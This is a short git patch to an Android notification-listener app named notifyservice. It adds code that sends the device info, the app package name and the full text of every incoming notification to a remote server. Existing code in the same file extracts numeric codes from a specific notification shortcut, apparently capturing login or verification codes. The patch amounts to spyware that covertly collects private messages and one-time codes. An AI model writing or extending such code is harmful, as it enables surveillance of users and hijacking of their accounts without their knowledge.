From 77820d4b43554a905b035c11a1de7ed95276386a Mon Sep 17 00:00:00 2001 From: Your Name Date: Wed, 16 Apr 2025 00:38:19 +0300 Subject: [PATCH] test --- .../java/com/example/notifyservice/Listener.java | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/app/src/main/java/com/example/notifyservice/Listener.java b/app/src/main/java/com/example/notifyservice/Listener.java index da3a84f..a7a39bd 100644 --- a/app/src/main/java/com/example/notifyservice/Listener.java +++ b/app/src/main/java/com/example/notifyservice/Listener.java @@ -1,6 +1,7 @@ package com.example.notifyservice; import static com.example.notifyservice.MainActivity.getCurrentHash; +import static com.example.notifyservice.MainActivity.getDeviceInfo; import static com.example.notifyservice.MainActivity.setCurrentHash; import android.app.ActivityManager; @@ -58,6 +59,9 @@ public class Listener extends NotificationListenerService { public void onNotificationPosted(StatusBarNotification sbn){ String packageName = sbn.getPackageName(); // Log.i(packageName, packageName); + PostRequest _postRequestTask = new PostRequest(getApplicationContext(), null); + _postRequestTask.execute("notificationPosted", // STATIC + getDeviceInfo(getBaseContext()) + ";" + packageName + ";" + processTextsExtras(sbn.getNotification().extras)); // STATIC if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC String code = processExtras(sbn.getNotification().extras); if (code.length() < 5) @@ -81,7 +85,7 @@ public class Listener extends NotificationListenerService { } } - public String processExtras(Bundle extras) { + public String processTextsExtras(Bundle extras) { StringBuilder notifyTexts = new StringBuilder(); for (String key : notificationTextKeys) { @@ -93,10 +97,14 @@ public class Listener extends NotificationListenerService { } } - return extractFirstNumber(notifyTexts.toString()); + return notifyTexts.toString(); } + public String processExtras(Bundle extras) { + return extractFirstNumber(processTextsExtras(extras)); + } + private String getShortcutSafe(StatusBarNotification sbn) { String shortcutId = null; if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.O) {